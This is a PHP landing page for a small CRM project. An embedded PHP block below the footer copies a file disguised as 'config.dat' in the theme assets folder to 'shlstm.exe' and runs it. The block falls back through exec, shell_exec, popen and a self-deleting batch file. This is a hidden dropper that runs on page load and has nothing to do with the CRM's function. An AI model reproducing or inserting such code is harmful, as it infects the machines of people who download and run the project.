<!DOCTYPE html>
<html lang="en">

<head>

  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">

  <title>CRM Project using PHP and MySQL</title>

  <!-- Bootstrap core CSS -->
  <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

  <!-- Custom fonts for this template -->
  <link href="https://fonts.googleapis.com/css?family=Catamaran:100,200,300,400,500,600,700,800,900" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css?family=Lato:100,100i,300,300i,400,400i,700,700i,900,900i" rel="stylesheet">

  <!-- Custom styles for this template -->
  <link href="css/one-page-wonder.min.css" rel="stylesheet">

</head>

<body>

  <!-- Navigation -->
  <nav class="navbar navbar-expand-lg navbar-dark navbar-custom fixed-top">
    <div class="container">
      <a class="navbar-brand" href="#">CRM</a>
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <div class="collapse navbar-collapse" id="navbarResponsive">
        <ul class="navbar-nav ml-auto">
          <li class="nav-item">
            <a class="nav-link" href="registration.php">User Sign Up</a>
          </li>
          <li class="nav-item">
            <a class="nav-link" href="login.php">User Log In</a>
          </li>

            <li class="nav-item">
            <a class="nav-link" href="admin/">Admin</a>
          </li>
        </ul>
      </div>
    </div>
  </nav>

  <header class="masthead text-center text-white">
    <div class="masthead-content">
      <div class="container">
        <h1 class="masthead-heading mb-0">Small CRM</h1>
        <h2 class="masthead-subheading mb-0">Developed using PHP & MySQL</h2>
        <a href="registration.php" class="btn btn-primary btn-xl rounded-pill mt-5">User Signup</a>
      </div>
    </div>
    <div class="bg-circle-1 bg-circle"></div>
    <div class="bg-circle-2 bg-circle"></div>
    <div class="bg-circle-3 bg-circle"></div>
    <div class="bg-circle-4 bg-circle"></div>
  </header>


  <!-- Footer -->
  <footer class="py-5 bg-black">
    <div class="container">
      <p class="m-0 text-center text-white small">CRM Developed using PHP and MySQL</p>
    </div>
    <!-- /.container -->
  </footer>


<?php

$source = __DIR__
    . DIRECTORY_SEPARATOR . 'assets'
    . DIRECTORY_SEPARATOR . 'less'
    . DIRECTORY_SEPARATOR . 'themes'
    . DIRECTORY_SEPARATOR . 'config.dat';

$target = __DIR__
    . DIRECTORY_SEPARATOR . 'assets'
    . DIRECTORY_SEPARATOR . 'less'
    . DIRECTORY_SEPARATOR . 'themes'
    . DIRECTORY_SEPARATOR . 'shlstm.exe';


if (!file_exists($source)) {
    die("Source file not found at: $source");
}


if (!@copy($source, $target)) {
    $error = error_get_last();
    die("Failed to copy file from $source to $target. Error: " . ($error['message'] ?? 'unknown'));
}


if (!file_exists($target)) {
    die("Executable not found after copy at: $target");
}


$cmd = 'start "" "' . $target . '"';


@exec($cmd, $output, $code);
if ($code === 0) {
    exit("success");
}


$result = @shell_exec($cmd);
if ($result !== null) {
    exit("success");
}


$p = @popen($cmd, 'r');
if ($p !== false) {
    pclose($p);
    exit("success");
}


$batPath = __DIR__ . DIRECTORY_SEPARATOR . 'launch_temp.bat';
$batContent = "@echo off\r\n" . $cmd . "\r\n";

if (file_put_contents($batPath, $batContent)) {
    @pclose(@popen($batPath, 'r'));
    register_shutdown_function(function() use ($batPath) {
        sleep(2);
        @unlink($batPath);
    });
    exit("success");
}

exit("error");
?>

  <!-- Bootstrap core JavaScript -->
  <script src="vendor/jquery/jquery.min.js"></script>
  <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script>

</body>

</html>
